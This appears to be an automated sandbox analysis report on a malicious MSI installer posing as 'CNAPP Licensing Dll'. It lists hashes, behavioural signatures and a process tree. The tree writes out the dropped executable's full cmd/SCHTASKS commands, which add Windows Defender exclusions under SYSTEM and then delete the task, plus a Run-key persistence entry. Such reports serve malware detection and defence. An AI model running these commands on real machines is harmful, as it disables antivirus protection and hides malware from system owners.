Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/07/2026, 02:53
Static task
static1
Behavioral task
behavioral1
Sample
Install_28n002.msi
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
Install_28n002.msi
Resource
win11ltsc2024-20260709-en
General
- Target Install_28n002.msi
- Size 5.7MB
- Sample260729-dde7gsshla
- SHA256 d434d746e43c498723eee3f0dfdd799524bd75103447e8d082e0db98825dfa9c
- MD5 ad1f3655dc343383d72a5c563885533a
- SHA1 1cd542eb4c760ebf44df10f70366c7dfc2492cf8
- SHA512 b2e286c0362075baad3f829b800614044be0d525d40585c731fb3406c3ec7bda95c5a3f1783c91dddc095c28bd46be9a2223de54f465a14e878de97e1d91fa07
- SSDEEP 98304:F6pdCiGJuFw5V4SGWXlgAzCEFO0kJQpAmAzKdN8wMVL66dYXzIrrrHlw:8dCis4BEoZJLm4Kv8w+Gzeri
- TLSH T17C5633D179C66F70D0A3CBF4561A6A1D3DAE3FD5B972CC0A67D43A006E32625DA32309
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\4OOWUA = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation FfuWN1.exe - Executes dropped EXE 1 IoCs
pid Process 1960 FfuWN1.exe - Loads dropped DLL 2 IoCs
pid Process 2368 MsiExec.exe 1960 FfuWN1.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\4OOWUA\\FfuWN1.exe\"" FfuWN1.exe - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 26 2368 MsiExec.exe 28 2368 MsiExec.exe 30 2368 MsiExec.exe 56 2368 MsiExec.exe 58 2368 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4408 cmd.exe 4092 cmd.exe 60 cmd.exe 4788 cmd.exe 2744 cmd.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0766DB9AB186806BB9A6B6802D3BA734 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b FfuWN1.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0766DB9AB186806BB9A6B6802D3BA734 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe - Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{1A6C27A2-FA3D-F13A-46E4-B05FDEE281FB} msiexec.exe File opened for modification C:\Windows\Installer\MSI747F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI74EE.tmp msiexec.exe File opened for modification C:\Windows\Installer\e587366.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\e587368.msi msiexec.exe File created C:\Windows\Installer\e587366.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 4324 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 820 cmd.exe 3288 cmd.exe 1152 cmd.exe 932 cmd.exe 2688 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000306421734df6c2060000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000306421730000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090030642173000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a30642173000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d30642173000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\ProductName = "CNAPP Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Version = "84017285" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\PackageName = "Install_28n002.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\PackageCode = "DDBDB3AAAA3DFAD46BC0B0DC3E8339EA" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF\UuueatYAD msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AuthorizedLUAApp = "0" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Clients = 3a0000000000 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2892 schtasks.exe 3864 schtasks.exe 1436 schtasks.exe 2664 schtasks.exe 1516 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3380 msiexec.exe 3380 msiexec.exe 3380 msiexec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 2368 MsiExec.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe 1960 FfuWN1.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 668 Process not Found 668 Process not Found 668 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4324 msiexec.exe Token: SeIncreaseQuotaPrivilege 4324 msiexec.exe Token: SeSecurityPrivilege 3380 msiexec.exe Token: SeCreateTokenPrivilege 4324 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4324 msiexec.exe Token: SeLockMemoryPrivilege 4324 msiexec.exe Token: SeIncreaseQuotaPrivilege 4324 msiexec.exe Token: SeMachineAccountPrivilege 4324 msiexec.exe Token: SeTcbPrivilege 4324 msiexec.exe Token: SeSecurityPrivilege 4324 msiexec.exe Token: SeTakeOwnershipPrivilege 4324 msiexec.exe Token: SeLoadDriverPrivilege 4324 msiexec.exe Token: SeSystemProfilePrivilege 4324 msiexec.exe Token: SeSystemtimePrivilege 4324 msiexec.exe Token: SeProfSingleProcessPrivilege 4324 msiexec.exe Token: SeIncBasePriorityPrivilege 4324 msiexec.exe Token: SeCreatePagefilePrivilege 4324 msiexec.exe Token: SeCreatePermanentPrivilege 4324 msiexec.exe Token: SeBackupPrivilege 4324 msiexec.exe Token: SeRestorePrivilege 4324 msiexec.exe Token: SeShutdownPrivilege 4324 msiexec.exe Token: SeDebugPrivilege 4324 msiexec.exe Token: SeAuditPrivilege 4324 msiexec.exe Token: SeSystemEnvironmentPrivilege 4324 msiexec.exe Token: SeChangeNotifyPrivilege 4324 msiexec.exe Token: SeRemoteShutdownPrivilege 4324 msiexec.exe Token: SeUndockPrivilege 4324 msiexec.exe Token: SeSyncAgentPrivilege 4324 msiexec.exe Token: SeEnableDelegationPrivilege 4324 msiexec.exe Token: SeManageVolumePrivilege 4324 msiexec.exe Token: SeImpersonatePrivilege 4324 msiexec.exe Token: SeCreateGlobalPrivilege 4324 msiexec.exe Token: SeBackupPrivilege 1792 vssvc.exe Token: SeRestorePrivilege 1792 vssvc.exe Token: SeAuditPrivilege 1792 vssvc.exe Token: SeBackupPrivilege 3380 msiexec.exe Token: SeRestorePrivilege 3380 msiexec.exe Token: SeRestorePrivilege 3380 msiexec.exe Token: SeTakeOwnershipPrivilege 3380 msiexec.exe Token: SeRestorePrivilege 3380 msiexec.exe Token: SeTakeOwnershipPrivilege 3380 msiexec.exe Token: SeRestorePrivilege 3380 msiexec.exe Token: SeTakeOwnershipPrivilege 3380 msiexec.exe Token: SeBackupPrivilege 4908 srtasks.exe Token: SeRestorePrivilege 4908 srtasks.exe Token: SeSecurityPrivilege 4908 srtasks.exe Token: SeTakeOwnershipPrivilege 4908 srtasks.exe Token: SeBackupPrivilege 4908 srtasks.exe Token: SeRestorePrivilege 4908 srtasks.exe Token: SeSecurityPrivilege 4908 srtasks.exe Token: SeTakeOwnershipPrivilege 4908 srtasks.exe Token: SeRestorePrivilege 3380 msiexec.exe Token: SeTakeOwnershipPrivilege 3380 msiexec.exe Token: SeRestorePrivilege 3380 msiexec.exe Token: SeTakeOwnershipPrivilege 3380 msiexec.exe Token: SeRestorePrivilege 3380 msiexec.exe Token: SeTakeOwnershipPrivilege 3380 msiexec.exe Token: SeRestorePrivilege 3380 msiexec.exe Token: SeTakeOwnershipPrivilege 3380 msiexec.exe Token: SeRestorePrivilege 3380 msiexec.exe Token: SeTakeOwnershipPrivilege 3380 msiexec.exe Token: SeRestorePrivilege 3380 msiexec.exe Token: SeTakeOwnershipPrivilege 3380 msiexec.exe Token: SeRestorePrivilege 3380 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4324 msiexec.exe 4324 msiexec.exe - Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 3380 wrote to memory of 4908 3380 msiexec.exe 99 PID 3380 wrote to memory of 2368 3380 msiexec.exe 102 PID 1960 wrote to memory of 4408 1960 FfuWN1.exe 114 PID 4408 wrote to memory of 3864 4408 cmd.exe 117 PID 1960 wrote to memory of 4092 1960 FfuWN1.exe 118 PID 4408 wrote to memory of 3700 4408 cmd.exe 120 PID 4408 wrote to memory of 4772 4408 cmd.exe 123 PID 4092 wrote to memory of 1436 4092 cmd.exe 124 PID 4092 wrote to memory of 3952 4092 cmd.exe 125 PID 4092 wrote to memory of 3492 4092 cmd.exe 129 PID 1152 wrote to memory of 176 1152 cmd.exe 131 PID 932 wrote to memory of 2812 932 cmd.exe 132 PID 1960 wrote to memory of 60 1960 FfuWN1.exe 133 PID 60 wrote to memory of 2664 60 cmd.exe 135 PID 60 wrote to memory of 2796 60 cmd.exe 136 PID 60 wrote to memory of 2476 60 cmd.exe 139 PID 2688 wrote to memory of 4504 2688 cmd.exe 140 PID 1960 wrote to memory of 4788 1960 FfuWN1.exe 142 PID 4788 wrote to memory of 1516 4788 cmd.exe 144 PID 4788 wrote to memory of 2928 4788 cmd.exe 145 PID 4788 wrote to memory of 4240 4788 cmd.exe 147 PID 820 wrote to memory of 4080 820 cmd.exe 149 PID 1960 wrote to memory of 2744 1960 FfuWN1.exe 150 PID 2744 wrote to memory of 2892 2744 cmd.exe 152 PID 2744 wrote to memory of 2400 2744 cmd.exe 154 PID 2744 wrote to memory of 2100 2744 cmd.exe 156 PID 3288 wrote to memory of 4324 3288 cmd.exe 158 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Install_28n002.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4324
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3380 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:4908
-
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 386ADED1C1C94B3FB3192713F314180D E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2368
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1792
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C:\Users\Public\4OOWUA\FfuWN1.exeC:\Users\Public\4OOWUA\FfuWN1.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4OOWUA\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4408 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4OOWUA\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3864
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3700
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4772
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4092 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1436
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3952
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3492
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:60 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2664
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2796
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2476
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4788 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1516
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2928
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4240
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2744 -
